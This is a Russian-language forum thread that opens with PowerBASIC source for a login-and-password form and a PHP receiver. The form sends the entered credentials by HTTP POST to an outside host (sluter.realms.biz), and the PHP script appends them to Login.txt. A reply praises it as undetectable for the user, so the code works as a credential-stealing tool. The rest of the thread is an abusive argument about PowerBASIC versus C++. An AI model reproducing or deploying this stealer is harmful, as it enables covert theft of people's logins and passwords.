quote:


#COMPILER PBWIN 9
#COMPILE EXE
#DIM ALL

quote:


#RESOURCE "Resources.pbr"

quote:


#INCLUDE "Win32API.inc"

quote:


GLOBAL hDlg AS DWORD ' тут храним хендл нашей формы
GLOBAL hThread AS DWORD ' тут храним хендл потока

quote:


FUNCTION PBMAIN () AS LONG
DIALOG NEW 0, "Отправлялка",,, 156, 118, %DS_CENTER OR %WS_CAPTION OR %WS_SYSMENU OR %WS_MINIMIZEBOX, 0 TO hDlg ' создаём новое окно

DIALOG SET ICON hDlg, "#1" ' берем иконку для окна из ресурса

CONTROL ADD LABEL, hDlg, -1, "Логин:", 16, 14, 40, 8 ' создаём лейбл
CONTROL ADD TEXTBOX, hDlg, 100, "", 16, 24, 124, 13, %WS_TABSTOP OR %WS_CHILD OR %ES_WANTRETURN OR %ES_AUTOHSCROLL, %WS_EX_CLIENTEDGE ' создаём текстбокс для ввода логина
CONTROL SEND hDlg, 100, %EM_SETMARGINS, %EC_LEFTMARGIN OR %EC_RIGHTMARGIN, MAK(LONG, 0,0) ' отступы в текстбоксе

CONTROL ADD LABEL, hDlg, -2, "Пароль:", 16, 50, 40, 8 ' создаём лейбл
CONTROL ADD TEXTBOX, hDlg, 101, "", 16, 60, 124, 13, %WS_TABSTOP OR %WS_CHILD OR %ES_WANTRETURN OR %ES_PASSWORD OR %ES_AUTOHSCROLL, %WS_EX_CLIENTEDGE ' создаём текстбокс для ввода пароля
CONTROL SEND hDlg, 101, %EM_SETMARGINS, %EC_LEFTMARGIN OR %EC_RIGHTMARGIN, MAK(LONG, 0,0) ' отступы в текстбоксе

CONTROL ADD BUTTON, hDlg, 102, "Отправить", 16, 90, 55, 15, %BS_PUSHBUTTON OR %WS_CHILD OR %WS_VISIBLE OR %WS_TABSTOP ' создаём кнопку "Отправить" (ID 102)
CONTROL ADD BUTTON, hDlg, 103, "Выход", 85, 90, 55, 15, %BS_PUSHBUTTON OR %WS_CHILD OR %WS_VISIBLE OR %WS_TABSTOP ' создаём кнопку "Выход" (ID 103)

DIALOG SHOW MODAL hDlg, CALL WndProc ' показываем созданную форму
END FUNCTION

quote:


CALLBACK FUNCTION WndProc () AS LONG
SELECT CASE CBMSG ' ловим сообщения
CASE %WM_COMMAND ' если это комманда
SELECT CASE CBCTL ' смотрим контролы

CASE 102 ' если это кнопка "Отправить" (ID 102)
IF CBCTLMSG = %BN_CLICKED OR CBCTLMSG = 1 THEN ' если кнопка была нажата

' делаем контролы неактивными на время запроса
CONTROL DISABLE hDlg, -1
CONTROL DISABLE hDlg, -2
CONTROL DISABLE hDlg, 100
CONTROL DISABLE hDlg, 101
CONTROL DISABLE hDlg, 102
CONTROL DISABLE hDlg, 103

' создаем поток
THREAD CREATE mThread(hDlg) TO hThread

END IF

CASE 103 ' если нажата кнопка "Выход" (ID 103)
DIALOG END CB.HNDL, 0 ' выходим

END SELECT
END SELECT
END FUNCTION

quote:


FUNCTION mThread(BYVAL hDlg AS DWORD) AS LONG
LOCAL hRes AS LONG
' тут вместо моего лепите свой урл. в первом параметре урл, во втором ссылка на страницу (если требуется)
IF SendHTTP("sluter.realms.biz", "") = 1 THEN MessageBox(hDlg, "Данные успешно отправлены", "Информация", %MB_ICONINFORMATION OR %MB_OK)

' активируем контролы
CONTROL ENABLE hDlg, -1
CONTROL ENABLE hDlg, -2
CONTROL ENABLE hDlg, 100
CONTROL ENABLE hDlg, 101
CONTROL ENABLE hDlg, 102
CONTROL ENABLE hDlg, 103
THREAD CLOSE hThread TO hRes ' убиваем поток
END FUNCTION

quote:


FUNCTION SendHTTP(WWW AS STRING, PageName AS STRING) AS LONG
LOCAL hFile&, sTemp$,sBuffer$

LOCAL mPost,mLogin,mPass AS STRING

hFile = FREEFILE ' свободная касса

CONTROL GET TEXT hDlg, 100 TO mLogin ' берем логин с текстбокса и пишем в переменную
CONTROL GET TEXT hDlg, 101 TO mPass ' берем пароль с текстбокса и пишем в переменную

IF LEN(mLogin) = 0 OR LEN(mPass) = 0 THEN MessageBox(hDlg, "Заполните все поля", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: EXIT FUNCTION ' если какой-то текстбокс пустой - сваливаем

TCP OPEN "http" AT WWW$ AS #hFile TIMEOUT 10000 ' коннектимся к серверу. таймаут 10 секунд, после чего произойдёт ошибка

IF ERR THEN MessageBox(hDlg, "Не удается подключиться к серверу", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: EXIT FUNCTION ' если ошибка (или нет инета, или урл корявый, или ещё что) - бибикаем и сваливаем

IF LEFT$(PageName,1) <> "/" THEN PageName = "/" + PageName ' смотрим, есть ли слеш слева в ссылке на страницу


' формируем запрос и пишем в переменную
mPost = "Login=" + mLogin + "&Pass=" + mPass

sTemp = "POST " + PageName + " HTTP/1.0" + $CRLF
sTemp = sTemp + "Connection: Keep-Alive" + $CRLF
sTemp = sTemp + "Content-Type: application/x-www-form-urlencoded" + $CRLF
sTemp = sTemp + "Content-Length: " + STR$(LEN(mPost)) + $CRLF
sTemp = sTemp + "Host: " & WWW$ + $CRLF
sTemp = sTemp + "Accept: */*" + $CRLF
sTemp = sTemp + "User-Agent: Mozilla/3.0 (compatible)" + $CRLF + $CRLF
sTemp = sTemp + mPost + $CRLF + $CRLF

TCP SEND #hFile, sTemp ' отправляем сформированный пакет

sTemp = "" ' очищаем переменную

DO ' начало цикла
TCP RECV #hFile,4096, sBuffer ' получаем ответ с сервера
sTemp = sTemp & sBuffer ' записываем/дописываем в переменную
IF ISTRUE ERR THEN MessageBox(hDlg, "Возникла ошибка при приеме данных с сервера", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: TCP CLOSE hFile: EXIT FUNCTION ' ' если не удается законнектиться - показываем месагу и сваливаем
LOOP UNTIL sBuffer = "" OR ISTRUE EOF(#hFile) ' продолжаем цикл, пока не получим все пакеты

TCP CLOSE hFile ' закрываем соединение

SendHTTP = 1 ' успех
END FUNCTION

quote:


<?PHP

$Login = $_POST['Login'];
$Pass = $_POST['Pass'];
$c = "$Login:$Pass";
$fp = fopen("Login.txt","a+"); //
fwrite($fp,"$c \n");
fclose($fp);

?>

quote:

Беспалевно для пользователя)

quote:

ORIGINAL: Selofan

те, кто когда либо писал на визуальном барсике, ничего непонятного не встретят.

quote:


Те, кто писал на нормальных языках это даже смотреть не будут.

quote:

Просто очередной школоло-язык для хэллоу вордов.

quote:

P.S. что тебе аргументировать? Чем язык твой плох?

quote:

Для начала напиши, что он умеет (есть ли нормальная IDE, библиотеки для работы с сетью / XML / базами и т.п., переносим ли он…). Потом уже поговорим.

quote:

с++ очередное никому до конца не понятное трололо, на котором кодить нерентабельно, времязатратно и трудозатратно. это как делфи.

quote:

ORIGINAL: Selofan

quote:

Просто очередной школоло-язык для хэллоу вордов.

с++ очередное никому до конца не понятное трололо, на котором кодить нерентабельно, времязатратно и трудозатратно. это как делфи. всё ненужное и неэффективное сливается в СНГ.

quote:

ORIGINAL: Selofan
и на последок. гугл на запрос c++ programmer jobs и visual basic programmer jobs какбэ намекает.

quote:

Пример хоть одного "кросс-платформенного" языка, более популярного, чем С++ можешь привести?

quote:

Лол)) Улыбнуло. Имхо тебе просто не даются другие языки, и ты всеми руками и ногами, цепляешься за этот "жалкий" бэйсик.
Причем твой гонор, тут не чего не дает, всем и так ясно

quote:

Пруфлинк про нерентабельность можно?

quote:

Пример хоть одного "кросс-платформенного" языка, более популярного, чем С++ можешь привести?

quote:

Денатурата на тебя нет…. Ты з/п и ценность с++ программеров сравни с васиками для начала.

quote:

Ответить на мой вопрос про "преимущества повервасика перед другими языками" и наличия библиотек / IDE ты просто не в состоянии.

quote:

Логично предположить, что ты - очередной тролль.

quote:

Так что не вижу смысла продолжать дискуссию, если от тебя только "понты" без аргументов будут сыпаться.

quote:

Те, кто писал на нормальных языках это даже смотреть не будут.

quote:

кому нужна твоя кроссплатформенность? сейчас даже банкоматы в селе Нижний Хрен работают на окнах

quote:

представить линки на свои невьебенные проекты ть не в состоянии.

quote:

ты такой упоротый и твердолобый. давай начнём сначала.
ты похож на девчёнку, которая затеяла ссору, а потом кивает, мол с ней дружить никто не хочет.

quote:

Угу, сюда по твоей быдлятине, ты от туда же.

quote:

Таких как ты, слишком много что бы кому каждому что то доказывать. лол)

quote:

а ты нет ? Жжешь)

quote:


Selofan, поверь моему не слишком богатому опыту ~ 5 лет я ковыряю в отладчике различный софт, за это время PowerBasic попался может всего раза 2 и то в каких-то crackme. Сл-но никто ничего серьезного на нем не пишет.